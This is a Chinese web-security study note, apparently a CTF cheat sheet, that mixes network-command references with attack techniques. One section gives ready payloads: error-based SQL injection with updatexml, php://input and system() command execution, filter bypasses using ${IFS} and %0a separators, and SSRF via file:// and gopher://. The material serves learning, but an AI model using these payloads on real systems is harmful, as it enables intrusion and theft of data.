web知识点

题注:当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。

已知:当vim异常退出时,以index.php为例,

第一次产生 .index.php.swp

第二次产生 .index.php.swo

第三次产生 .index.php.swn

查看IP等:控制人太台:ipconfig/all

网络探测工具ping

ping用于向某主机发出一个试探性的IP检测包,来测试该主机是否可以到达,同时,利用该工具可以获知从本机到达对方主机的速度和该主机的IP地址等信息。

格式如下:ping目的地址 [参数1][参数2][参数3]

其中,目的地址是指被探测主机的地址,既可以是域名,也可以是IP地址。

主要参数含义如下:

-t:继续ping直到用户终止。

-a:解析主机地址。

-n数值:发出的探测包的数目,默认值为4。

网络统计工具netstat

netstat用于显示协议的统计和当前TCP/IP网络连接。

netstat格式如下:netstat[参数1][参数2][参数3]

主要参数含义如下:

-a:显示所有网络连接和监听端口。

-e:显示以太网统计资料。

-n:以数字格式显示地址和端口。

-r:显示路由表。

-s:显示每一个协议的统计。协议可以是 TCP、UDP、IP。

跟踪路由工具TraceRT

TraceRT 用于查看从本地主机到目标主机的路由,通过该工具可以了解网络原理和工作过程。通过显示从本地主机到目标主机所经过的每一个主机地址和来回时间,可以了解一个数据包是如何经过迂回路由传送到目标主机和分析阻塞发生的环节。在IP数据包中有一个字段TTL(time tp voice)决定该数据包能够在网络上传送的距离,发出数据包时,通常预置了初始值。每当该数据包遇到一个主机(经过一次路由),该字段值减一,然后向邻近的下一个主机发送,直到值为零停止传送,若在TTL值的范围内到达目的地,则发送成功,否则必须重发。可防止一个数据包无限制地在网上传递,造成网络阻塞。TraceRT 工具通过发送探测包来获得所经过的每一个主机的地址和往返时间。

格式如下:TraceRT[参数1][参数2]目标主机

其中,主要参数含义如下:

-d:不解析目标主机地址。

-h:指定跟踪的最大路由数,即经过的最多主机数。

-j:指定松散的源路由表。

-w:以毫秒为单位指定每个应答的超时时间。

TCP/IP配置工具ipconfig::

用于在DOS界面查看和改变TCP/IP配置参数。在默认模301式下显示本机的IP地址、子网掩码、默认网关。

格式如下:ipconfig[参数]

主要参数含义如下:

-ALL:显示所有细节信息,包括主机名、节点类型、DNS服务器、NetBIOS范围标识、启用IP路由、启用WINS代理、NetBIOS解析使用DNS、适配器地址、IP地址、网络掩码、默认网关、DHCP服务器、主控 WINS服务器、辅助 WINS服务器、获得租用权等。

-release:DHCP客户端手工释放IP地址。

-renew:DHCP客户端手工向服务器刷新请求。

-showclassid:显示网络适配器的 DHCP类别信息。

-setclassid:设置网络适配器的 DHCP类别。

网络路由表设置工具route

route用于查看、添加、删除、修改路由表条目。

route格式如下:Route[-f][command[destination][MASKnetmask][gateway][METRICmetric]

主要参数含义如下:

-f:清除所有网关条目的路由表,如果该参数与其他命令组合使用,则清除路由表的优

先级大于其他命令。

command参数选项如下:

add:添加一个路由。

delete:删除一个路由。

destination:指定目标主机。

MASKnetmask:mask后指定该路由条目的子网掩码,若未指定,则默认为255.255.255.255

getway:指定网关。

域名查询工具nslookup

nslookup是 WindowsNT、Windows2000中连接DNS服务器,查询域名信息的工具。

格式如下:

nslookup目标主机

文件传输工具ftp

ftp利用FTP协议在网络上传输文件。

格式如下:ftp目标主机

远程登录工具telnet

telnet协议属于TCP/IP协议族,是因特网远程登录服务的标准协议和主要方式,是常用的远程控制 Web服务器的方法,为用户提供了在本地计算机上完

成远程主机工作的能力。终端使用者可以使用telnet程序连接到服务器,然后在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样,可以

在本地就能控制服务器。

格式如下:telnet目标主机

3.5.2 文件传输协议与工具

文件传输协议(FTP,FileTransferProtocol)属于 TCP/IP 协议族,是因特网文件传送

的基础。FTP完成两台计算机之间的文件复制:从远程计算机复制文件至本地计算机上,

称为“下载(download)”文件;将文件从本地计算机中复制到远程计算机上,称为“上载(up-

load)”文件。在 TCP/IP协议中,FTP服务一般运行在端口20和21:端口20用于在客户端和服务器之间传输数据流;端口21用于传输控制流,并且是命令通向 FTP服务器的进口。

FTP采用客户机/服务器工作模式:用户通过客户端程序连接至在远程计算机上运行

的服务器程序。依照 FTP 协议提供服务,进行文件传送的计算机就是 FTP 服务器,而连接 FTP服务器,遵循 FTP协议与服务器传送文件的计算机就是 FTP客户。

FTP格式如下:

ftp://用户名:密码@FTP服务器IP或域名:FTP命令端口/路径/文件名

例如,以下地址都是有效的 FTP地址:

ftp://ftp.bupt.edu.cn

ftp://list:list@ftp.bupt.edu.cn

ftp://list:list@ftp.bupt.edu.cn:2003

ftp://list:list@ftp.bupt.edu.cn:2003/soft/list.txt

如果要登录FTP 服务器,必须要有该服务器授权的账号,为此,提出了匿名文件传输方

法。匿名文件传输是指用户与远程主机建立连接并以匿名身份从远程主机上复制文件,而

不必在该远程主机上注册。在互联网中,有很多匿名 FTP 服务器:这类服务器的目的是向公众提供文件复制服务,不要求用户事先在该服务器进行登记注册,也不用取得 FTP服务器的授权。用户使用 “anonymous”用户名登录 FTP服务器,将电子邮件地址作为口令,就可访问远程主机上公开的文件。匿名 FTP一直是因特网上获取信息资源的主要方式之一:公共的匿名 FTP服务器中存储着大量的文件,只要知道特定信息资源的IP地址,就可以用匿名 FTP登录获取所需的信息资料。虽然目前使用 WWW 环境已取代匿名 FTP成为最主要的信息查询方式,但是匿名FTP仍是因特网上传输分发软件的一种基本方法。

git log 显示从最近到最远的提交日志

git diff 简单的来说就是查看不同,具体用法如下:

git diff:是查看working tree与index的差别的。

git diff --cached:是查看index与repository的差别的。

git diff HEAD:是查看working tree和repository的差别的。其中:HEAD代表的是最近的一次commit的信息

git reset 可用于回退版本库

git stash:能够将所有未提交的修改(工作区和暂存区)保存至堆栈中,用于后续恢复当前工作目录

git stash list:查看当前stash中的内容

git stash pop:将当前stash中的内容弹出,并应用到当前分支对应的工作目录上

sqlmap -u "url" --current-db

--dbs --batch

--dbs

Sqlmap:id=? union select 1,database()

group_concat(table_name) from information_schema.tables where table_schema=’sqli’

Column columns

Name

A from B

有强waf

报错注入:使用 updatexml得到库名

/?id=-1 and updatexml(1,concat(1,database()),2)

/?id=-1 and updatexml(1,(concat(1,(select group_concat(table_name) from information_schema.tables where table_schema =‘sqli’))),2)

/?id=-1 and updatexml(1,(concat(1,(select group_concat(column_name) from information_schema.columns where table_name =‘flag’))),2)

/?id=-1 and updatexml(1,(concat(1,(select flag from sqli.flag))),2)

RCE:/?file=php://input

<?php system(“”)?> ls / cat /

RCE

查看根目录文件 /?cmd=system("ls");查看一下根目录文件 /?cmd=system("ls");切记最后的分号不可省略! /?cmd=system("cat flag_9759");

过滤cat

1 可以用其他查看文本命令,比如tac,head,tail,nl,vim,less,more等

2 使用 \ '' "" {任意无意义变量名}等方法绕过

过滤空格

${IFS};$IFS$;$IFS$1;$IFS$9;%09;%20;<>;<

1.每个命令之间用;隔开

说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。

2.每个命令之间用&&隔开

说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。

3.每个命令之间用||隔开

说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。

4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。

5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

试着打开php文件,发现打不开。

在这里插入图片描述

应该是文件中包含特殊字符,使用管道运行base64加密内容

ip & cat *.php | base64

过滤目录分隔符

目录分隔符 / 被过滤了。

URL&ls //可以看到 flag_is_here 文件夹

URL;cd flag_is_here;ls //这里使用 ; 或者 && 执行多条命令

进入文件夹,显示目录:URL;cd flag_is_here;cat flag_************.php //cat 查看flag文件

过滤运算符

命令分隔符:

linux中:%0a(回车) %0d(换行) ;; ;&;|;&&;||

windows中:%0a;&;|;%1a(作为.bat文件中的命令分隔符)

对管道符 | & || &&,进行了过滤。

127.0.0.1;ls //使用 ;即可

127.0.0.1;cat flag_*************.php

/var/www/html 是一个常见的目录路径,用于存储网站文件,特别是在使用 Apache 作为 Web 服务器的 Linux 系统中。这个目录是 Web 服务器的根目录,意味着当你访问一个没有指定特定路径的 URL 时(例如 http://example.com),Web 服务器会默认查找 /var/www/html 目录下的文件。

这个目录的结构通常如下:

/var/www/html:这是根目录,通常包含网站的首页文件(如 index.html 或 index.php)和其他公共访问的文件。

/var/www/html/images:这个子目录通常用于存储图片文件。

/var/www/html/css:用于存储 CSS 样式表文件。

/var/www/html/js:用于存储 JavaScript 文件。

/var/www/html/includes:可能包含 PHP 脚本中会用到的公共文件。

?url=file:///var/www/html/flag.php(示范)

gopher使用结构

gopher://127.0.0.1:80/_{TCP/IP数据流} #_不能省

Dirsearch使用:dirsearch -u url

备份文件名:/....bak(/tar.gz)

Cookie:其实就是一些数据信息,类型为“小型文本文件”,存储于电脑上的文本文件中。当我们打开一个网站时,如果这个网站我们曾经登录过,那么当我们再次打开网站时,发现就不需要再次登录了,其实就是游览器保存了我们的cookie,里面记录了一些信息,当然,这些cookie是服务器创建后返回给浏览器的。浏览器只进行了保存。

cookie中常用属性的解释。

Name:这个是cookie的名字 Value:这个是cooke的值

Path:这个定义了Web站点上可以访问该Cookie的目录

Expires:这个值表示cookie的过期时间,也就是有效值,cookie在这个值之前都有效。

Size:这个表示cookie的大小

查看cookie值:火狐打开URL,进入控制台的storage,url更改后进入网络查看响应数据包或使用burpsuite

GET方式传参:直接在网页URL的后面写上【URL/?a=?】,如果有多个参数则用&符号连接,

POST传参:1.Hackbar选中POST data传参

  1. burp:插入一行content-type:application/x-www-form-urlencoded后空一行传参

php中有两种比较符号

=== 会同时比较字符串的值和类型

== 会先将字符串换成相同类型,再作比较,属于弱类型比较

Robots协议:网络爬虫排除标准。查询方法:URL/robots.txt

robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt 文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。其中Disallow 指令用于告诉搜索引擎的爬虫(spider)哪些页面或目录不应该被抓取。但该指令非强制,可凭借URL/(文件名)打开。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在 robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。常用:URL/robots.txt

1.禁止抓取整个网站:

User-agent: *

Disallow: /——这将禁止所有爬虫抓取网站上的任何页面。

2.禁止抓取特定目录:

User-agent: *

Disallow: /private/——这将禁止爬虫抓取网站中 private 目录下的所有页面。

3.禁止抓取特定文件类型:

User-agent: *

Disallow: /*.pdf——这将禁止爬虫抓取所有 .pdf 文件。

4.针对特定爬虫的禁止指令:

User-agent: Googlebot

Disallow: /nogooglebot/——这将只禁止 Googlebot 爬虫抓取 nogooglebot/ 目录下的所有页面。

5.允许和禁止的组合使用:

User-agent: *

Disallow: /private/——Allow: /private/public/

Ping:ip&(linux命令)

Php也使用linux

Linux常用命令:

  1. 打开最底层目录:ls /
  2. 返回上一级:ls ../../../........
  3. find / -name 'b' 查询根目录下(包括子目录),名以b的目录和文件;
  4. find / -name 'b*' 查询根目录下(包括子目录),名以b开头的目录和文件;
  5. find . -name 'b' 查询当前目录下(包括子目录),名以b的目录和文件;
  6. Cat /.../.../...
  7. 打开上上级目录的某个文件eg.:cat ../../../home

Xff和referer伪造:xff是一个HTTP扩展头部字段,用于在HTTP请求保留原始请求的来源IP地址。Referer这是一个HTTP请求头字段,用于指示当前请求是由哪个页面发起的,即用户是从哪个页面点击链接或提交表单到达当前请求的页面的。XFF头代表客户端,也就是HTTP的请求端真实的IP。

因此伪造通过burp:x-Forwarded-For:ip地址 先

Referer:URL 后

PHP是服务器端脚本语言,主要用于处理和生成网页的内容,当用户访问一个网站时,PHP脚本会在服务器上执行,生成动态的HTML页面,然后将页面发送给用户的浏览器进行显示。

按照这个思路找到php脚本的路径,保存在什么文件。常见的 PHP 脚本通常保存在以 .php 为扩展名的文件上。这些文件可以存储在web 服务器的文档根目录中,以便通过浏览器访问和执行;经典示例文件名:index.php或script.php,能够正常访问,意味着存在这样脚本文件;不能的话出现404 not found;php文件源代码通常在phps文件;任何进行php源代码审计。

urldecode是PHP函数,解码经过URL编码的字符串,解码回原始的形式;URL编码中某些字符被替换为%后跟两个十六进制形式;这是为了确保 URL 中的特殊字符不会与 URL 结构冲突。例如,空格字符在 URL 中被编码为 %20,而 & 字符被编码为 %26,%字符被编码为%25。URL 只能使用 ASCII 字符集来通过因特网进行发送。由于 URL 常常会包含 ASCII 集合之外的字符,URL 必须转换为有效的 ASCII 格式。

URL 编码使用 "%" 其后跟随两位的十六进制数来替换非 ASCII 字符。

URL 不能包含空格。URL 编码通常使用 + 来替换空格。

echo 是 PHP 中用于输出字符串的函数。

若输入admin被ban且源代码自动进行一次解码,输入两次编码的admin,实际输入的即为经过一次编码的admin

JavaScript、PHP、ASP 都提供了对字符串进行URL编码的函数。

JavaScript 中使用 encodeURI() 函数,PHP 中使用 rawurlencode() 函数,ASP 中使用 Server.URLEncode() 函数。

SSTI 漏洞:如果 html 模板字符串中使用了 % 运算符,并且用户控制的 user_input 被直接插入到模板中,那么用户可以构造特殊的输入,从而执行 Python 代码。这是因为 render_template_string 函数在内部使用 % 运算符进行字符串格式化,如果用户输入的是有效的 Python 代码,那么这段代码就会被执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/808708.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

订单交易平台一

简介:订单交易平台核心的功能模块:认证模块,用户名密码 或 手机短信登录(60s有效)。角色管理,不同角色具有不同权限 和 展示不同菜单。 管理员,充值客户,下单客户管理,除了基本的增删改查以外,支持对客户可以分级,不同级别后续下单折扣不同。交易中心管理员可以给客…

学习“基于VirtualBox虚拟机安装Ubuntu图文教程”

安装过程中出现了很多问题第一次安装没有下载ubtun20.04 镜像 第二次安装不知道如何下载bzip2,导致一直安装增强功能 第三次在上B站搜索视频讲解后成功安装好了

wintools premium 24.10.1 注册分析

wintools premium 24.10.1 目录wintools premium 24.10.1NAGSCREEN_proc_472350check_472BF0pyps win32 程序,程序注册逻辑简单,关注窗口事件、控件id可快速定位到关键逻辑。 NAGSCREEN_proc_472350 INT_PTR __thiscall NAGSCREEN_proc_472350(void *this, HWND hDlg, UINT a…

项目部署二:服务器和环境配置

2.服务和环境配置 下面的配置和操作均在腾讯云服务器+CentOS 7.5的系统下进行。 2.1 MySQL安装服务端 yum install mariadb-server -y mariadb-server.x86_64 1:5.5.68-1.el7安装客户端 yum install mariadb -y 软件包 1:mariadb-5.5.68-1.el7.x86_64 已安装并且是最新版本服务…

freeRTOS源码解析4--tasks.c 7

4.2.20 空闲任务调用1--prvCheckTasksWaitingTermination 删除所有终止的任务, 释放资源。简单描述就是清空xTasksWaitingTermination列表,释放资源,递减uxCurrentNumberOfTasks和uxDeletedTasksWaitingCleanUp。接口:static void prvCheckTasksWaitingTermination( void )接…

软件工程师课程辅导

Day1 环境搭建下载vscode下载链接:https://pan.baidu.com/s/1Oo1TIrAKmlEuEfdn9EXgLQ?pwd=nkt9配置vscode的python开发环境教程:https://www.runoob.com/python3/python-vscode-setup.html安装Pycharm下载教程:https://blog.csdn.net/qq_44809707/article/details/12250111…

PAIRDISTILL: 用于密集检索的成对相关性蒸馏方法

在当今海量数据时代,有效的信息检索(IR)技术对于从庞大数据集中提取相关信息至关重要。近年来,密集检索技术展现出了相比传统稀疏检索方法更加显著的效果。 现有的方法主要从点式重排序器中蒸馏知识,这些重排序器为文档分配绝对相关性分数,因此在进行比较时面临不一致性的挑战。…

School New Competition WP

试验一下博客园的基础功能,顺便把学校战队招新赛的Wp传一下, alpaca_search: 直接burp爆破把密码搞出来,在burp多抓几次包会在正确的包里发现一个新的cookie名count,count记录了正确的值 ,然后把它改成999再多发几次包,发到正确的那一个后就拿到了flag RCE_ME!!! 题目直…

pytorch环境安装

pytorch环境安装 1.基础安装 首先安装anaconda打开,进入base,输入命令,这里-n后跟的是环境名字,再往后是python版本,不要太高 conda create -n pytorch python=3.8安装的时候有按y的就按y 创建成功后使用下面命令进入创建的环境 conda activate pytorch2.安装需要的库 pip…

[Trick] 格路记数 - 反射容斥

Perface 模拟赛不会被冲烂了。 Problem I 从 \((0,0)\) 到 \((n,m)\) 方案数。 解法: \(C(n+m,m)\)。 Problem II 从 \((0,0)\) 到 \((n,m)\) 方案,但是不能经过 \(y=x+b\) 的直线。 解法: 考虑映射法。 以一条路径第一次碰到直线的位置为起点,之后所有的路线和 \(y=x+b\) …

Burp功能 细解析

情境 第六周的培训甚是有趣, 更加详细的介绍了Burp工具的功能和使用细节. 虽然很有趣, 但是我学得很慢, 练习达到熟练掌握还需要练习. 以下是第五次培训的练习题 以及我的解答. 最后一题手生, 一开始没做出来.1、安装burp,分别在本机上实现全局代理和局部代理,提供设置过程的…

高级语言程序设计第二次作业(102400106刘鑫语)

这个作业属于课程:https://edu.cnblogs.com/campus/fzu/2024C/ 作业要求:https://edu.cnblogs.com/campus/fzu/2024C/homework/13282 学号:102400106 姓名:刘鑫语 程序清单 最初都很顺利 3.1 3.2 3.3 3.4 3.5 3.6 出现了问题但一直没能解决,回宿舍后试着改成c99 依然报错,…